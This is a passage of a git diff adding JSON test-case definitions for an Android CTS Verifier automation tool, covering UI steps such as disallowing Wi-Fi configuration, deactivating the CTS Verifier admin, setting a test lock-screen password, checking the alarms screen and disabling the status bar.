+{"uuid":"78f39e06-715e-4c47-a787-b2802a1a12ab","details":"{\"type\":\"CompoundAction\",\"name\":\"15-08-Disallow config Wi-Fi\",\"actionId\":\"78f39e06-715e-4c47-a787-b2802a1a12ab\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disallow config Wi-Fi\",\"actionId\":\"14b664ed-3d40-4332-baa4-a5789e5c3181\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disallow config Wi-Fi\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"fcd7cbb6-c015-4dc1-af80-618991447fec\",\"displayText\":\"Disallow config Wi-Fi\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disallow config Wi-Fi\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":388.3333333333333,\"x2\":360.0,\"y2\":432.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":84.0,\"y\":411.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":96.0,\"y\":-0.6666666666666856,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"fcd7cbb6-c015-4dc1-af80-618991447fec\",\"firstText\":\"Disallow config Wi-Fi\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disallow config Wi-Fi\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":1.0,\"y1\":396.0,\"x2\":167.0,\"y2\":426.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disallow config Wi-Fi\",\"actionId\":\"8b3f86e9-9814-4599-a1f2-ccf3b9a52df2\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disallow config Wi-Fi\"},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"76f1179f-271f-4f01-8196-8b0b86a3da70\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"riacheltseng\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"44291145-6774-4ba3-9caf-731853cef58e\",\"14b664ed-3d40-4332-baa4-a5789e5c3181\",\"8b3f86e9-9814-4599-a1f2-ccf3b9a52df2\",\"5ee29e64-400f-4c6f-ba29-d9442740b560\",\"be00d800-5235-410e-a535-55a76d9200b9\",\"8003eafa-d92b-4571-ba71-a68648526e4f\",\"8b18fc23-789a-4c41-9746-297a040e35a7\",\"76f1179f-271f-4f01-8196-8b0b86a3da70\",\"15aa571c-2e4d-43c0-b9c7-07b4f23041c4\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"15-08-Disallow config Wi-Fi","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.134000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/79031c08-46b9-4830-80ad-500a4585c4d4 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/79031c08-46b9-4830-80ad-500a4585c4d4
new file mode 100644
index 0000000..ded27cb
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/79031c08-46b9-4830-80ad-500a4585c4d4
@@ -0,0 +1 @@
+{"uuid":"79031c08-46b9-4830-80ad-500a4585c4d4","details":"{\"type\":\"CompoundAction\",\"name\":\"Disable CTS-V admin\",\"actionId\":\"79031c08-46b9-4830-80ad-500a4585c4d4\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"shareWith\":\"pololee\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Check if CTS Verifier admin is enabled if yes, deactivate it.\",\"actionId\":\"aec185d7-8752-40e1-9829-9e82e1a4dde3\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"pololee\",\"script\":\"from python_uiautomator.device import Device\\n\\nd= Device.create_device_by_slot(0)\\nif d.text(\\\"CTS Verifier\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").verify_exist():\\n    d.text(\\\"CTS Verifier\\\").right().resource_id(\\\"android:id/switch_widget\\\").attributes(\\\"checked\\\", \\\"true\\\").click()\\n    d.resource_id(\\\"com.android.settings:id/action_button\\\").click()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"aec185d7-8752-40e1-9829-9e82e1a4dde3\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Disable CTS-V admin","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.320000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7966cf53-7a34-44cc-9193-2c7dd347fe81 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7966cf53-7a34-44cc-9193-2c7dd347fe81
new file mode 100644
index 0000000..3055f17
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7966cf53-7a34-44cc-9193-2c7dd347fe81
@@ -0,0 +1 @@
+{"uuid":"7966cf53-7a34-44cc-9193-2c7dd347fe81","details":"{\"type\":\"CompoundAction\",\"name\":\"Verify if set Password appear, set password to \\\"a14725836\\\"\",\"actionId\":\"7966cf53-7a34-44cc-9193-2c7dd347fe81\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify if set Password screen appear,  set password to \\\"a14725836\\\"\",\"actionId\":\"7c66d06e-6684-4b42-8583-fb667b97e524\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"For security, set password\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_CURRENT_COMPOUND_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"172384b1-6bff-401d-a017-8dbe63201e3a\",\"displayText\":\"For security, set password\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"com.android.settings:id/sud_layout_description\",\"text\":\"For security, set password\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":21.0,\"y1\":172.0,\"x2\":339.0,\"y2\":211.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":183.0,\"y\":187.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":-3.0,\"y\":4.5,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":4,\"leafNodeContext\":\"172384b1-6bff-401d-a017-8dbe63201e3a\",\"firstText\":\"For security, set password\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"For security, set password\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":90.0,\"y1\":167.0,\"x2\":276.0,\"y2\":207.0}},{\"type\":\"ClickAction\",\"name\":\"Click Action, Next\",\"actionId\":\"361c482d-402d-4941-9105-977e55985a8e\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Next\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Confirm\",\"actionId\":\"1f6942b7-ec8a-4706-883b-f875ab8b025a\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Confirm\"}],\"childrenIdList\":[\"7c66d06e-6684-4b42-8583-fb667b97e524\",\"3935709f-effe-474a-96d0-07dd056d34f9\",\"361c482d-402d-4941-9105-977e55985a8e\",\"3935709f-effe-474a-96d0-07dd056d34f9\",\"1f6942b7-ec8a-4706-883b-f875ab8b025a\",\"2fb8a428-0ad6-4d59-a36e-8ba24663af7b\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Verify if set Password appear, set password to \"a14725836\"","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.264000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/796b7e21-e7e7-4631-8bc3-72894b072e96 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/796b7e21-e7e7-4631-8bc3-72894b072e96
new file mode 100644
index 0000000..b6c9842
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/796b7e21-e7e7-4631-8bc3-72894b072e96
@@ -0,0 +1 @@
+{"uuid":"796b7e21-e7e7-4631-8bc3-72894b072e96","details":"{\"type\":\"CompoundAction\",\"name\":\"Random select 3 lock type\",\"actionId\":\"796b7e21-e7e7-4631-8bc3-72894b072e96\",\"actionType\":\"COMPOUND_ACTION\",\"delayAfterActionMs\":3000,\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"PythonScriptAction\",\"name\":\"Random select 3 lock type\",\"actionId\":\"f7d5df18-6a82-4de4-b762-ff41f5077273\",\"actionType\":\"PYTHON_SCRIPT_ACTION\",\"createdBy\":\"riacheltseng\",\"script\":\"from python_uiautomator.device import Device\\nimport random\\n \\nd= Device.create_device_by_slot(0)\\n \\nresult1 = random.randint(1, 3)\\n \\nif result1 == 1:\\n    d.text(\\\"Pattern\\\").click()\\nelif result1 == 2:\\n    d.text(\\\"PIN\\\").click()\\nelse:\\n    d.text(\\\"Password\\\").click()\",\"expectedReturnCode\":\"0\",\"isPathProvided\":false,\"path\":null}],\"childrenIdList\":[\"f7d5df18-6a82-4de4-b762-ff41f5077273\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Random select 3 lock type","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.252000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7afb9f81-dffa-45af-ad3e-2a3a5b7b4bc8 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7afb9f81-dffa-45af-ad3e-2a3a5b7b4bc8
new file mode 100644
index 0000000..dbb3109
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7afb9f81-dffa-45af-ad3e-2a3a5b7b4bc8
@@ -0,0 +1 @@
+{"uuid":"7afb9f81-dffa-45af-ad3e-2a3a5b7b4bc8","details":"{\"type\":\"CompoundAction\",\"name\":\"test_Alarms and Timers Tests-Show Alarms Test\",\"actionId\":\"7afb9f81-dffa-45af-ad3e-2a3a5b7b4bc8\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ClickAction\",\"name\":\"Click Action, Show Alarms Test\",\"actionId\":\"d3daa439-6098-4534-8a67-7bf7d36ca206\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Show Alarms Test\"},{\"type\":\"ClickAction\",\"name\":\"Click Action, Show Alarms\",\"actionId\":\"1bf3a776-3576-40dc-ba23-26fa8ab2e703\",\"actionType\":\"CLICK_ACTION\",\"delayAfterActionMs\":2000,\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Show Alarms\"},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY - in Alarm page\",\"actionId\":\"575ffcb1-9e66-4133-957d-789af17da7ed\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.deskclock:id/action_bar_title\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Alarm\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY - list of alarms\",\"actionId\":\"b437557d-cc23-4eb6-90af-052668041f04\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"actionDescription\":\"Check it displays a UI for the list of alarms\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.deskclock:id/alarm_recycler_view\"}]},\"clickAfterValidation\":false},{\"type\":\"ConditionValidationAction\",\"name\":\"VERIFY - list is not empty\",\"actionId\":\"595ab352-f3b3-4ed4-82e7-e5097ac6299c\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"resourceId\",\"operator\":\"=\",\"value\":\"com.google.android.deskclock:id/alarm_empty_view\"}]},\"clickAfterValidation\":false},{\"type\":\"InputAction\",\"name\":\"Back Button\",\"actionId\":\"abf1609b-3323-4219-8f67-d868f39233b9\",\"actionType\":\"INPUT_ACTION\",\"createdBy\":\"pololee\",\"keyCode\":4,\"inputString\":null,\"isSingleChar\":true}],\"childrenIdList\":[\"3832f622-3408-4968-9429-c0c9e11905d5\",\"d3daa439-6098-4534-8a67-7bf7d36ca206\",\"1bf3a776-3576-40dc-ba23-26fa8ab2e703\",\"575ffcb1-9e66-4133-957d-789af17da7ed\",\"b437557d-cc23-4eb6-90af-052668041f04\",\"595ab352-f3b3-4ed4-82e7-e5097ac6299c\",\"abf1609b-3323-4219-8f67-d868f39233b9\",\"41618467-e1d1-4cb0-ba3c-c3230a3442bf\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"test_Alarms and Timers Tests-Show Alarms Test","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.034000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7b8a5983-efee-45ea-aaa2-9aaf6d82e063 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7b8a5983-efee-45ea-aaa2-9aaf6d82e063
new file mode 100644
index 0000000..5ba1f3d
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7b8a5983-efee-45ea-aaa2-9aaf6d82e063
@@ -0,0 +1 @@
+{"uuid":"7b8a5983-efee-45ea-aaa2-9aaf6d82e063","details":"{\"type\":\"CompoundAction\",\"name\":\"Launch Accounts\",\"actionId\":\"7b8a5983-efee-45ea-aaa2-9aaf6d82e063\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"pololee\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Accounts\",\"actionId\":\"f220f3c6-b784-437d-acd3-4b93c13c9c79\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"createdBy\":\"pololee\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Accounts\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"49a379f1-b3c7-43d1-85a3-f5f9939954e2\",\"displayText\":\"Accounts\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b07bcadf-d959-4b7b-9590-0d8cbd494c11\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"b42a4ae4-ddbc-4d3f-b8ec-1f02d025bbdf\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.ImageView\",\"resourceId\":\"android:id/icon\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":641.3333333333334,\"x2\":47.666666666666664,\"y2\":674.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"\"}],\"className\":\"android.widget.LinearLayout\",\"resourceId\":\"com.android.settings:id/icon_frame\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":14.666666666666666,\"y1\":637.6666666666666,\"x2\":66.0,\"y2\":678.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"\"},{\"uuid\":\"c0ad168a-af2a-4b8e-9004-6853fe318c63\",\"displayText\":\"Accounts\",\"isUniqueResourceId\":false,\"children\":[{\"uuid\":\"f35f447a-f240-4c7a-84c6-0fbabfddb890\",\"displayText\":\"Accounts\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/title\",\"text\":\"Accounts\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":639.3333333333334,\"x2\":129.0,\"y2\":659.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":1.0,\"y\":1.1666666666667425,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"Accounts\"},{\"uuid\":\"1d0957ad-697b-433b-b5e8-fd6b64bfc9ce\",\"displayText\":\"No accounts added\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/summary\",\"text\":\"No accounts added\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":659.0,\"x2\":178.66666666666666,\"y2\":676.6666666666666},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"No accounts added\"}],\"className\":\"android.widget.RelativeLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":false,\"enabled\":true,\"bounds\":{\"x1\":66.0,\"y1\":624.6666666666666,\"x2\":345.3333333333333,\"y2\":691.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"firstText\":\"Accounts\"}],\"className\":\"android.widget.LinearLayout\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":0.0,\"y1\":624.6666666666666,\"x2\":360.0,\"y2\":691.3333333333334},\"clickedPos\":{\"confidentLevel\":2,\"x\":96.5,\"y\":648.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":83.5,\"y\":10.0,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":3,\"leafNodeContext\":\"f35f447a-f240-4c7a-84c6-0fbabfddb890\",\"firstText\":\"\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Accounts\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":132.0,\"y1\":657.0,\"x2\":61.0,\"y2\":639.0},\"scrollOrientation\":2,\"scrollMaxNumber\":30},{\"type\":\"ClickAction\",\"name\":\"Click Action, Accounts\",\"actionId\":\"cf50a078-177d-4d34-8d31-8c54766389f6\",\"actionType\":\"CLICK_ACTION\",\"createdBy\":\"pololee\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Accounts\"}],\"childrenIdList\":[\"9be89845-047e-4ef4-98dc-caa8cd186c76\",\"f220f3c6-b784-437d-acd3-4b93c13c9c79\",\"cf50a078-177d-4d34-8d31-8c54766389f6\"],\"repeatTime\":1,\"failAtTheEnd\":false,\"forceDeviceOnChildren\":false,\"runAlwaysRecursive\":false,\"additionalData\":{\"version\":\"1\",\"globalVariableStr\":\"\"}}","name":"Launch Accounts","type":"CompoundAction","tag":"","description":"","created_by":"riacheltseng","created_at":1607325439.297000000}
\ No newline at end of file
diff --git a/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7ba82511-7b81-415f-81d7-ce2a5c969a50 b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7ba82511-7b81-415f-81d7-ce2a5c969a50
new file mode 100644
index 0000000..411695f
--- /dev/null
+++ b/tools/cts-verifier-automation/CTS-V_automation_11_r1_v1/testcases/7ba82511-7b81-415f-81d7-ce2a5c969a50
@@ -0,0 +1 @@
+{"uuid":"7ba82511-7b81-415f-81d7-ce2a5c969a50","details":"{\"type\":\"CompoundAction\",\"name\":\"10 &amp; 17-03-Disable status bar test\",\"actionId\":\"7ba82511-7b81-415f-81d7-ce2a5c969a50\",\"actionType\":\"COMPOUND_ACTION\",\"createdBy\":\"riacheltseng\",\"childrenActions\":[{\"type\":\"ScrollScreenContentValidationAction\",\"name\":\"Scroll to Disable status bar\",\"actionId\":\"ef2a6727-9ec0-4614-be22-9eb1c77e7be7\",\"actionType\":\"SCROLL_SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"Disable status bar\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"319506e2-39ca-44ff-8c00-87f4cc8e99fb\",\"displayText\":\"Disable status bar\",\"isUniqueResourceId\":false,\"children\":[],\"className\":\"android.widget.TextView\",\"resourceId\":\"android:id/text1\",\"text\":\"Disable status bar\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":9.333333333333334,\"y1\":406.3333333333333,\"x2\":350.6666666666667,\"y2\":450.3333333333333},\"clickedPos\":{\"confidentLevel\":2,\"x\":88.0,\"y\":427.0,\"isPhysicalPos\":false,\"validPos\":true},\"relativePos\":{\"confidentLevel\":2,\"x\":92.0,\"y\":1.3333333333333144,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":0,\"leafNodeContext\":\"319506e2-39ca-44ff-8c00-87f4cc8e99fb\",\"firstText\":\"Disable status bar\"},\"contextStorageType\":\"TEXT_BASED\",\"screenContentSearchType\":\"FULLSCREEN\",\"selectedText\":\"Disable status bar\",\"selectedType\":\"DISPLAY_TEXT\",\"selectedBound\":{\"x1\":9.0,\"y1\":413.0,\"x2\":167.0,\"y2\":441.0},\"scrollOrientation\":2,\"scrollMaxNumber\":5},{\"type\":\"ClickAction\",\"name\":\"Click Action, Disable status bar\",\"actionId\":\"76b883ca-0d0a-415a-9c71-4de1d46d461a\",\"actionType\":\"CLICK_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"nodeContext\":null,\"isRawXY\":false,\"isDoubleClick\":false,\"failTestIfNotFound\":true,\"isByElement\":true,\"isOcrMode\":false,\"strategy\":\"TEXT_EQUALS\",\"selector\":\"Disable status bar\"},{\"type\":\"ConditionValidationAction\",\"name\":\"Click Disable status bar button\",\"actionId\":\"d55513ba-0e91-4d34-94ff-916a3e5b6bf9\",\"actionType\":\"CONDITION_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"\"},\"stopWhenFalse\":true,\"stopType\":\"STOP_TEST_IF_FALSE\",\"query\":{\"condition\":\"and\",\"rules\":[{\"field\":\"class\",\"operator\":\"=\",\"value\":\"android.widget.Button\"},{\"field\":\"text\",\"operator\":\"=\",\"value\":\"Disable status bar\"}]},\"clickAfterValidation\":true},{\"type\":\"ScreenContentValidationAction\",\"name\":\"Verify Quick setting is no longer available\",\"actionId\":\"6a4b5022-bb3e-4d2d-beb4-7397b51bf994\",\"actionType\":\"SCREEN_CONTENT_VALIDATION_ACTION\",\"deviceIndex\":1,\"createdBy\":\"riacheltseng\",\"textValidator\":{\"contentMatchType\":\"EQUALS\",\"patternValue\":\"com.android.systemui:id/settings_button\"},\"stopWhenFalse\":false,\"stopType\":\"STOP_TEST_IF_TRUE\",\"isOcrMode\":false,\"savedNodeContext\":{\"uuid\":\"ea7acd9b-b0cc-4a20-92c8-fdf7d47b298e\",\"displayText\":\"Open settings.\",\"isUniqueResourceId\":true,\"children\":[{\"uuid\":\"7a205745-3b90-4eb4-8b8c-83c62fde57b5\",\"displayText\":\"Open settings.\",\"isUniqueResourceId\":true,\"children\":[],\"className\":\"android.widget.ImageButton\",\"resourceId\":\"com.android.systemui:id/settings_button\",\"contentDesc\":\"Open settings.\",\"checked\":false,\"isCheckableNode\":true,\"isClickableNode\":true,\"enabled\":true,\"bounds\":{\"x1\":312.3333333333333,\"y1\":406.0,\"x2\":356.3333333333333,\"y2\":450.0},\"clickedPos\":{\"confidentLevel\":2,\"x\":0.0,\"y\":0.0,\"isPhysicalPos\":false,\"validPos\":false},\"relativePos\":{\"confidentLevel\":2,\"x\":5.333333333333314,\"y\":6.5,\"isPhysicalPos\":false,\"validPos\":true},\"isRawXYPosition\":false,\"isClickedCurrentNode\":false,\"xmlLayerIndex\":1,\"firstText\":\"Open 